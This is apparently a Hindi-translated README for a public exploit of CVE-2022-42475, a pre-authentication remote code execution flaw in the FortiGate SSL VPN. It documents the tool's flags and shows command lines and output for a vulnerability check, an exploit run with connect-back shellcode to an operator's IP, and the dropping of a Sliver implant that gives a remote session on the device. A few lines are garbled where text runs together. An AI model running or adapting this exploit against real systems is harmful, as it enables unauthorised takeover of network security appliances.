
CVE-2022-42475 के लिए एक्सप्लॉइट जो FortiGate SSL VPN को validate-only mode, ROP chain execution, और connect-back shellcode के साथ लक्षित करता है, रिमोट कोड एक्जीक्यूशन और बाइनरी डिप्लॉयमेंट के लिए।
यह ब्लॉग पोस्ट के लिए एक्सप्लॉइट है: https://bishopfox.com/blog/exploit-cve-2022-42475
एक्सप्लॉइट का यह संस्करण आपके, हैकर, द्वारा ROP गैजेट्स आदि के लिए आवश्यक मेमोरी पतों की आपूर्ति किए बिना काम नहीं करेगा। इस डेटा को निर्धारित करने का काम Bishop Fox के लिए गोपनीय और स्वामित्व वाला है और मैं इसे इस एक्सप्लॉइट के साथ प्रकाशित नहीं करूंगा (नहीं कर सकता)। मुझे विश्वास है कि आप समझ गए होंगे!
execve(binary_file) कॉल करता है।नोट: वर्तमान में "केवल मान्य करें" मोड FortiOS के सभी ज्ञात संस्करणों पर काम करता है। हालांकि, एक्सप्लॉइट केवल 100D हार्डवेयर पर FortiOS 6.0.4 के विरुद्ध काम करते हैं। मैं अब BF में काम नहीं करता और इसलिए विस्तारित एक्सप्लॉइट को प्रकाशित नहीं कर सकता जो लगभग 18k लक्ष्यों का समर्थन करता है।
pip3 install PyCrypto
pip3 install pycryptodome
यह बग का शोषण करने का कोई प्रयास नहीं करेगा, बल्कि इसे क्रैश के रूप में ट्रिगर करता है (दूरस्थ SSL VPN डेमॉन स्वचालित रूप से और तुरंत पुनरारंभ होता है)। क्रैश का ह्यूरिस्टिक रूप से पता लगाया जाता है और ऑपरेटर को रिपोर्ट किया जाता है।
इसे -v मान्य फ़्लैग के साथ चलाएँ:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE
यह बग को ट्रिगर करेगा, एक ROP श्रृंखला तैनात करेगा, और शेलकोड पर कूद जाएगा। शेलकोड हानिरहित है और निम्नानुसार काम करता है:
0xbf/tmp/x पर सहेजता है0xbf बाइट भेजता हैफ़्लैग:
-t लक्ष्य होस्ट/IP
-p लक्ष्य पोर्ट
-e एक्सप्लॉइट मोड
-c केवल कनेक्ट-बैक मोड
-H और -P ऑपरेटर का IP:पोर्ट (आवश्यक)
-s FortiOS का सॉफ़्टवेयर संस्करण (आवश्यक)
-m FortiOS चलाने वाला हार्डवेयर मॉडल
-d डीबगिंग चालू करें
एक उदाहरण जहाँ हम सॉफ़्टवेयर संस्करण 6.0.4 और उपकरण मॉडल 100D दोनों चुनते हैं:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-] 6.0.4 [ 1 targets ] <=== 100D
[-] 5.2.14 [ 47 targets ]
[-] 5.6.9 [ 60 targets ]
[-] 6.0.13 [ 68 targets ]
[-] 6.0.14 [ 67 targets ]
[-] 6.0.15 [ 58 targets ]
[-] 6.0.8 [ 67 targets ]
[-] 6.2.11 [ 69 targets ]
[-] 6.2.7 [ 75 targets ]
[-] 6.4.10 [ 71 targets ]
[-] 6.4.2 [ 62 targets ]
[-] 6.4.3 [ 61 targets ]
[-] 6.4.6 [ 73 targets ]
[-] 6.4.9 [ 72 targets ]
[-] 7.0.4 [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!
यदि आप हार्डवेयर मॉडल चुनने के लिए -m को छोड़ देते हैं, तो एक्सप्लॉइट निर्दिष्ट सॉफ़्टवेयर संस्करण के लिए सभी हार्डवेयर लक्ष्यों को ब्रूट-फोर्स करेगा।
0xbf/tmp/x पर सहेजता है0xbf बाइट भेजता हैexecve("/tmp/x") कॉल करता हैफ़्लैग:
-t लक्ष्य होस्ट/IP
-p लक्ष्य पोर्ट
-e एक्सप्लॉइट मोड
-f filename /path/to/binary/to/execve/on/target
-H और -P कनेक्ट-बैक के लिए ऑपरेटर का IP:पोर्ट (आवश्यक)
-s FortiOS का सॉफ़्टवेयर संस्करण (आवश्यक)
-m FortiOS चलाने वाला हार्डवेयर मॉडल
-d डीबगिंग चालू करें
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options
[server] sliver > mtls -l 8888
[*] Starting mTLS listener ...
[*] Successfully started job #1
एक्सप्लॉइट:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.
और Sliver पर वापस:
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
Logon ID: <err>
[server] sliver (implant5) > ls
/ (19 items, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x bin <dir> Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x data <dir> Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x dev <dir> Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x lib <dir> Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> Tue Jan 31 05:23:13 +0000 2023
drwx------ root <dir> Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x sys <dir> Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x usr <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x var <dir> Tue Jan 31 05:24:07 +0000 2023
ध्यान दें कि Sliver <err> लौटाता है क्योंकि FortiOS कुछ हद तक लिनक्स जैसा है, और हमेशा आपकी अपेक्षा के अनुसार काम नहीं करता। यह Sliver की नहीं, FortiOS की समस्या है।
मैं अब Bishop Fox में काम नहीं करता, इसलिए आपको इस पर अपडेट के लिए BF github का अनुसरण करना होगा।